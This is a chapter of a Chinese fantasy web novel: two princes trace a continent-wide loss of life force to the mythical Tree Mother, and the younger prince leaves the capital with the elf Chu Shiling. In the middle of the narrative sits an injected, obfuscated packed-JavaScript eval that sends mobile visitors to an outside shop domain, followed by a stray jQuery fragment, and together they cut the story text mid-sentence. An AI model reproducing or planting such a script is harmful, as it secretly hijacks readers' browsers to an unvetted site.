回到王城后，楚时岭被带到景临在皇宫里的住处”隼穹”，这里的空间高耸且冷冽，天顶闪着银光的金属装饰模拟着钢铁翎羽，沉重的压迫感随处可见。
景临刚回王城，屁股还没坐热，府中便来了人，是景珩身边的近侍：「大殿下请二殿下入宫议事。」
景临看了那人一眼，放下手中的茶盏，没多问，便起身换了衣服。
景珩是他的皇兄，虽然与他感情深厚，却很少主动找他，这次显然不是寻常事情。
书房内，大殿下景珩站在桌案后。他身形高大，穿着一身玄色常服。
桌案上堆满卷宗，墙上挂着整片大陆地图，许多地方被朱笔圈了起来。景珩站在桌前，手里还拿着一份刚拆开的密报，听见脚步声，他抬起眼：「来了。」
景临拉开椅子坐下，拿起桌上的蜜枣咬了一口，再看看兄长疲累的眼神「几天没睡了？」景珩将密报放到一旁，叹气道：「两天。」接着景珩将几份卷宗推到他面前；「看看。」
景临一边吃着甜枣一边随手翻开。
第一份来自军部，内容不长。
【治愈系异能恢复速度下降，重伤士兵死亡率上升，原因不明。】
第二份，来自药师协会。
【药材品质正常，药效平均下降两成至三成，原因不明。】
第三份，来自农部。
【农作开花正常，结果率下降，部分种子无法发芽。】
景临翻了几页，又拿起下一份。是人族边境商会的情报，许多依靠药草维生的村落开始出现经济作物短缺，药物歉收。
半晌，景临放下卷宗：「什么时候开始的？」
景珩道：「最早的端倪是在半年前，但最近两个月开始明显增加，各地报上来的异象越来越严重，消息压都压不住。一开始我以为只是巧合，药草、作物、野兽、异能，彼此没有关联，后来发现，问题就在这里。」
景珩摇伸手点了点墙上的地图，画上记号的远不止一处，深渊国，人族、兽族…
朱笔标记的密密麻麻。
「如果是瘟疫，总该有共同症状；如果是天灾，总该有共同区域。可现在没有，那么问题就出在整个大陆。」
景临吃完最后一颗蜜枣，拿起布帕擦着手边说：「回来的路上我也遇见了。」
景珩惊讶的抬头看着弟弟。
景临回忆片刻：「先是鸟，整片林子里的鸟突然飞起来，数量庞大遮住整个天空，没有猎食者攻击，更像是被什么东西惊动。」
景珩静静听着。
「后来马匹也开始不安，惊慌失控，甚至抓狂翻覆了马车。护卫起初以为有埋伏，但搜了一阵，什么都没有。」
书房沉默下来。
景珩梳理道：「植物生长变慢、药效衰退、野兽躁动、治愈能力下降，其实都指向同一件事。」
景临道：「生命力。」
景珩点头。
两人对视一眼，没有再多说话，答案其实已经很明显了。
出问题的可能是，传说中掌管整个世界大陆生命力的精神树母。
?
隔日一早兄弟二人一同进宫。
父皇的殿内很安静，药香弥漫。
苍老的深渊王头发早已花白，他坐在床上，桌上放着刚熬好的药。
「来了。」
景珩与景临行礼后，将昨夜整理出的结果重新说了一遍。
待最后一个字落下，深渊王才开口。
「你们怎么看？」
景珩道：「目前没有证据证明所有异常来自同一源头，但机率很大。」
老深渊王点点头，又看向景临。
「你呢？」
景临：「树母可能有变数。」
老人停下了喝药的动作：「除了刚才的报告还有别的证据吗？」
景临道：「没有证据，就是梳理后的直觉推断。」
老皇帝笑了，带着深深地皱纹与复杂的笑意看着他：「你母亲以前也爱说直觉。」
景临微微一怔，他的母亲是皇族努力隐藏的秘密，居然在这种时刻，被淡淡提起。
深渊王没有再多说，回到正题：
「若真是同一件事。」
他的目光落在空中，似乎在脑海中描绘整个世界大陆。
「确实值得查，若这些异状真与树母有关，更要查。」
说完他看向景临：「你去！带一两个亲信即可，此行为秘密调查，不要惊扰各族。」
景临起身：「是。」
老人望着这个小儿子缓缓开口：「沿途消息随时送回王城。」
景临点头：「儿臣明白。」
「景珩，皇城这里，要靠你稳住，做得到吗？」
景珩：「儿臣定不负期望。」<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849592|211794||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>老人挥了挥手，像是有些疲惫：「退下吧」
兄弟二人退出偏殿，正当殿门缓缓关上，景珩忽然开口，眼神关切：「小心一点。」
景临看了他一眼，笑了笑：
「知道了—」便快速转身离去。
景珩还想唠叨些什么，怎么就这么被他给逃了。
?
回到府邸，侍从受到命令从正在准备明日出行所需物资。
楚时岭正在院子里闲晃，少年穿着浅色外袍，东瞧瞧西摸摸。
但景临一眼便看出来，他精神不太好。自从柳娘客栈场那逃亡之后，这人表面上好多了，內里却像被抽空了底子，一日比一日惫懒。
突然间少年身形微晃了一下，他下意识伸手扶住旁边花架，苍白手指落在藤蔓间，下一瞬，那株原本死气沉沉的植物上，紧闭的花苞缓缓舒展，花瓣一层层展开，转眼整片白色花朵，便盛开在枝头，极其肆意、靡丽。
景临：「看来作为一个药引你恢复得不错。」
楚时岭：「托殿下的福。」
依旧是不冷不热的语气。
景临看着他冷冷开口：「去过树母之地吗？」
「没有。为什么突然问这个？」
「收拾东西。」
「做什么？」
「出城，去树母之地。」
他不知道景临突然要去那里作什么，但他知道，自己没得选择，身为人人渴望的精灵，独自留在深渊国里，不一定比较安全。
景临的语气里带着上位者不容置疑的命令：
「记住，老老实实跟在我身边是你唯一的活路。」
他扯了扯嘴角，没把后面的威胁说完，但那眼神里的警告意味已经足够让人头皮发麻。
不知为何，那点本该止于利用与掌控的界线，忽然变得有些模糊，念头一闪而过，他没有再多想，转身离开。
楚时岭站在原处，看着男人消失的方向，许久才放松了绷紧的后背。
翌日清晨。
天刚矇矇亮，王城上空还笼罩着一层薄雾。景临推开宫门，他只带了两名亲信，翻身上马后，手臂一伸，将楚时岭直接捞至怀中，驭马踏入薄雾，向远方驰去。
——————
而在二皇子寝室。
桌案角落那只原本空着的精致白瓷花瓶里，不知何时，多了一朵散着香气的傲骨白花。